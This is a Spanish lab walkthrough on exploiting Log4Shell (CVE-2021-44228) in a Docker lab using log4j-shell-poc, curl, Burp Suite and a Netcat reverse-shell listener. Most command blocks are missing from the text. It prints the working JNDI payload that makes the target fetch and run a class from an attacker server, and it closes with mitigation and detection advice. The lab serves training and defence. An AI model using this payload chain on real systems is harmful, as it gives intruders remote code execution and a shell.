Log4Shell-CVE-2021-44228

Laboratorio práctico para explotar y comprender Log4Shell (CVE-2021-44228) usando Docker, Kali Linux, Burp Suite y log4j-shell-poc. Solo para enseñanza y entrenamiento defensivo en entornos de laboratorio controlados.

0. Aviso Legal y Ético

Este laboratorio solo debe realizarse en un entorno controlado donde tengas autorización explícita (tu propio laboratorio, máquinas virtuales de clase, etc.).

• No ataques sistemas de producción.
• No lo ejecutes contra hosts que no poseas o administres.
• Utiliza este material únicamente con fines educativos, de investigación y de defensa.

1. Resumen General

Log4Shell (CVE-2021-44228) es una vulnerabilidad crítica de RCE en Apache Log4j 2.

El problema surge porque las versiones vulnerables de Log4j2 interpretan cadenas controladas por el atacante como:

Cuando esta cadena se registra, Log4j:

1. Realiza una búsqueda JNDI (p. ej., mediante LDAP) hacia un servidor controlado por el atacante.
2. Recibe una referencia a una clase Java maliciosa.
3. Descarga la clase por HTTP y la carga en la JVM.
4. La ejecuta, lo que produce ejecución remota de código.

En este laboratorio:

• Ejecutarás una aplicación web Log4j2 vulnerable dentro de un contenedor Docker.
• Ejecutarás un servidor LDAP + HTTP malicioso en Kali usando log4j-shell-poc.
• Entregarás el payload de Log4Shell mediante curl y mediante Burp Suite.
• Capturarás una reverse shell desde el contenedor vulnerable.

2. Objetivos de Aprendizaje

Al finalizar este laboratorio, deberías ser capaz de:

1. Explicar a alto nivel cómo funciona Log4Shell y por qué JNDI es peligroso cuando se usa indebidamente.
2. Desplegar una aplicación Log4j2 vulnerable usando Docker.
3. Instalar y configurar JDK 1.8.0_202, requerido por el PoC.
4. Ejecutar un servidor LDAP malicioso y un servidor HTTP mediante el script del PoC.
5. Disparar la vulnerabilidad y obtener una reverse shell.
6. Usar Burp Suite para inyectar el exploit en una cabecera HTTP.
7. Discutir mitigaciones realistas y estrategias de detección.

3. Arquitectura del Laboratorio

Todos los componentes se ejecutan sobre tu laboratorio virtual existente. Para esta documentación asumimos:

• La VM de Kali Linux es el atacante.
• Kali también ejecuta el contenedor Docker que contiene la aplicación vulnerable.

Idea clave

El atacante inyecta:

en una cabecera HTTP. La aplicación vulnerable la registra usando Log4j2 → realiza una búsqueda JNDI LDAP hacia 192.168.1.4:1389 → descarga una clase maliciosa desde http://192.168.1.4:8000 → ejecuta la clase, que abre una reverse shell de vuelta a 192.168.1.4:9001.

4. Requisitos Previos

En Kali necesitas:

• Docker (instalado y funcionando).
• Python 3 (predeterminado en Kali).
• Netcat (nc).
• Burp Suite (la Community Edition es suficiente).
• Acceso a Internet para las descargas iniciales.
• Familiaridad básica con Linux y HTTP.

A lo largo de esta guía asumimos que la IP de Kali es:

Si tu IP es diferente, ajusta todos los comandos en consecuencia.

5. Instalar JDK 1.8.0_202 en Kali (Obligatorio)

El PoC depende de Java SE 8 Update 202 (JDK 1.8.0_202) porque las versiones posteriores de Java restringen el comportamiento de carga remota de clases que utiliza este exploit.

Incluso si Kali ya tiene OpenJDK 21 (o similar), igualmente necesitas instalar 8u202 por separado.

5.1 Crear un directorio de trabajo

5.2 Descargar JDK 8u202 desde el espejo de HuaweiCloud

Raíz del espejo:

Descarga el tarball para Linux x64 (≈185 MB):

5.3 Extraer en /usr/bin/jdk1.8.0_202

La opción --strip-components=1 elimina el directorio de nivel superior del archivo para que los archivos queden directamente en /usr/bin/jdk1.8.0_202.

5.4 Verificar la instalación

Salida esperada:

Si ves esto, JDK 1.8.0_202 está correctamente instalado.

6. Desplegar la Aplicación Log4j Vulnerable (Docker en Kali)

En una nueva terminal en Kali (puedes permanecer en ~/Log4Shell):

Deberías ver registros similares a:

• La aplicación ahora es accesible en http://127.0.0.1:8080/ desde Kali.
• Deja esta terminal en ejecución. Este es tu objetivo.

Verificación rápida:

Puede que veas una Whitelabel Error Page (HTTP 400). Eso está bien: todo lo que necesitamos es que la aplicación esté ejecutándose y registrando las peticiones.

7. Preparar el PoC del Exploit en Kali

7.1 Clonar log4j-shell-poc

En una nueva terminal:

Confirmar los archivos:

8. Configurar poc.py para Usar JDK 1.8.0_202

Por defecto, poc.py espera encontrar un JDK local en un directorio llamado jdk1.8.0_20 dentro del repositorio. En su lugar, instalaste JDK 8u202 en /usr/bin/jdk1.8.0_202, por lo que debes actualizar el script.

8.1 Abrir poc.py en un editor

8.2 Identificar las líneas originales de la ruta de Java

Busca jdk1.8.0_20 (en nano: Ctrl+W, escribe jdk1.8.0_20, pulsa Enter).

Deberías encontrar tres apariciones, como:

8.3 Reemplazar con rutas absolutas hacia JDK 8u202

Reemplázalas con:

Guardar y salir:

• Ctrl + O → Enter
• Ctrl + X

Ahora el PoC usa JDK 1.8.0_202 desde /usr/bin.

9. Iniciar los Servicios del Exploit (LDAP + HTTP + Generador de Payload)

Desde ~/Log4Shell/log4j-shell-poc:

9.1 Ejecutar el script del PoC

Parámetros:

• --userip – tu IP de Kali (atacante): p. ej. 192.168.1.4.
• --webport – puerto para el servidor HTTP embebido: 8000.
• --lport – puerto al que el payload se conectará de vuelta: 9001.

Si todo está configurado correctamente, deberías ver algo como:

Importante:

• El servidor LDAP está escuchando en el puerto 1389.

• El servidor HTTP está escuchando en el puerto 8000.

• El payload exacto a inyectar se imprime:

  root@kitploit:~

  ${jndi:ldap://192.168.1.4:1389/a}
  

Deja esta terminal en ejecución.

10. Iniciar el Listener de Reverse Shell (Netcat)

Abre otra terminal nueva en Kali:

Deberías ver:

Este listener recibirá la reverse shell desde la aplicación vulnerable.

En este punto deberías tener:

1. Contenedor Docker ejecutando la aplicación vulnerable (puerto 8080).
2. poc.py ejecutando LDAP (1389) y HTTP (8000).
3. Netcat escuchando en 9001.

11. Explotar Log4Shell mediante curl

Primero, demuestra que el exploit funciona usando una petición HTTP cruda.

En una nueva terminal (o reutiliza una si está disponible):

Lo que sucede:

1. La aplicación vulnerable recibe la petición y registra la cabecera X-Api-Version.
2. Log4j2 ve ${jndi:ldap://192.168.1.4:1389/a} y realiza una búsqueda JNDI LDAP.
3. Tu servidor LDAP (dentro de poc.py) responde con una referencia a una clase Java maliciosa alojada en tu servidor HTTP.
4. La aplicación descarga y ejecuta la clase.
5. La clase se conecta de vuelta a 192.168.1.4:9001 y abre una shell.

Si tiene éxito, tu terminal de Netcat mostrará:

Ahora tienes una shell root dentro del contenedor Docker.

Prueba con:

Sal con:

Netcat volverá a quedar en escucha.

12. Explotar Log4Shell mediante Burp Suite (Estilo Navegador)

Ahora demuestra la misma ruta de explotación usando un navegador intermediado por Burp Suite.

12.1 Configurar Firefox para usar Burp como proxy

1. Inicia Burp Suite en Kali.

2. En Burp, asegúrate de que el listener del Proxy esté ejecutándose en 127.0.0.1:8080.

3. En Firefox:

   • Configuración → Configuración de Red → Configuración manual del proxy.
   • HTTP Proxy: 127.0.0.1, Puerto: 8080.
   • Marca «Usar este proxy también para HTTPS».
   • Asegúrate de que no haya exclusiones para 127.0.0.1.

12.2 Capturar una petición inicial

1. En Burp → Proxy → Intercept, asegúrate de que Intercept esté ACTIVADO.

2. En Firefox, navega a:

   root@kitploit:~

   http://127.0.0.1:8080/
   

3. Burp mostrará la petición interceptada, p. ej.:

   root@kitploit:~

   GET / HTTP/1.1
   Host: 127.0.0.1:8080
   User-Agent: Mozilla/5.0 ...
   ...
   

12.3 Enviar la petición a Repeater

1. En la pestaña Proxy → Intercept, haz clic derecho en la petición.
2. Selecciona Send to Repeater.
3. Cambia a la pestaña Repeater.

12.4 Inyectar el payload de Log4Shell en una cabecera HTTP

En Repeater, modifica la petición para incluir una cabecera X-Api-Version:

Notas:

• Reemplaza 192.168.1.4 por tu IP real de Kali si es diferente.
• No codifiques en URL los caracteres ${} – deben aparecer exactamente como se muestran.
• Connection: close simplifica las cosas (opcional).

12.5 Enviar la petición maliciosa

1. Confirma que poc.py y el listener de Netcat sigan ejecutándose.
2. Haz clic en Send en Burp Repeater.

Puedes volver a ver una 400 Whitelabel Error Page – eso está bien.

Revisa tu terminal de Netcat:

Una vez más has obtenido una shell root en el contenedor, esta vez usando una petición HTTP modificada con Burp, lo que refleja un flujo de explotación web realista.

13. Cómo Funciona la Cadena del Exploit (Resumen Técnico)

1. El atacante construye el payload JNDI:

   root@kitploit:~

   ${jndi:ldap://192.168.1.4:1389/a}
   

2. La aplicación vulnerable registra esta cadena usando Log4j2.

3. Log4j2 interpreta ${jndi:...} y realiza una búsqueda JNDI.

4. La búsqueda usa LDAP para contactar al servidor LDAP del atacante en 192.168.1.4:1389.

5. El servidor LDAP (marshalsec) responde con una javaNamingReference que apunta a una clase controlada por el atacante alojada por HTTP, p. ej.:

   root@kitploit:~

   http://192.168.1.4:8000/Exploit.class
   

6. La JVM víctima descarga y carga esta clase.

7. El constructor de la clase abre un socket de vuelta a 192.168.1.4:9001 y vincula /bin/sh a él.

8. El listener de Netcat del atacante recibe la conexión entrante y obtiene una shell root remota dentro del contenedor.

14. Mitigación y Defensa

En entornos reales, se deben aplicar múltiples capas defensivas.

14.1 Actualizar Log4j2

• Actualiza a 2.17.1 o posterior (o la versión segura recomendada por el proveedor).
• Estas versiones deshabilitan o restringen fuertemente las búsquedas JNDI por defecto.

14.2 Deshabilitar JNDI / búsquedas en mensajes

Para despliegues aún vulnerables, añade:

(Donde corresponda – ten en cuenta que no todas las configuraciones vulnerables se corrigen solo con esta bandera.)

14.3 Eliminar JndiLookup de los JAR de log4j-core

Como medida de defensa en profundidad:

14.4 Reforzar el acceso de red saliente

• Restringe LDAP, RMI y HTTP arbitrario saliente desde los servidores de aplicaciones.
• El filtrado de egreso y las políticas estrictas de firewall pueden impedir que los servidores alcancen infraestructura controlada por el atacante.

14.5 Detección y Monitorización

• Busca en los registros patrones sospechosos como ${jndi: o ${${lower:j}${upper:ndi}:.
• Monitoriza conexiones LDAP/RMI salientes inusuales desde los servidores.
• Despliega reglas IDS/IPS/SIEM para indicadores de Log4Shell y tráfico de PoC.

15. Hoja de Referencia de Comandos

Una visión condensada de los comandos utilizados en este laboratorio.

15.1 Directorio de trabajo

15.2 Descargar JDK 8u202 (≈185 MB)

15.3 Instalar JDK 1.8.0_202

15.4 Ejecutar la aplicación Docker vulnerable

15.5 Clonar el repositorio del PoC

15.6 Actualizar las rutas de Java en poc.py (resumen)

Reemplaza:

Con:

15.7 Iniciar PoC (LDAP + HTTP + payload)

15.8 Listener de reverse shell con Netcat

15.9 Explotar mediante curl

15.10 Cadena del payload para cabeceras

15.11 Cabecera para Burp Repeater

16. Galería de Capturas de Pantalla

17. Referencias

• PoC original: kozmer/log4j-shell-poc
• Aplicación demo vulnerable: christophetd/log4shell-vulnerable-app
• Vulnerabilidades de seguridad de Apache Log4j: https://logging.apache.org/log4j/2.x/security.html
• Entrada NIST NVD para CVE-2021-44228: https://nvd.nist.gov/vuln/detail/CVE-2021-44228

18. Créditos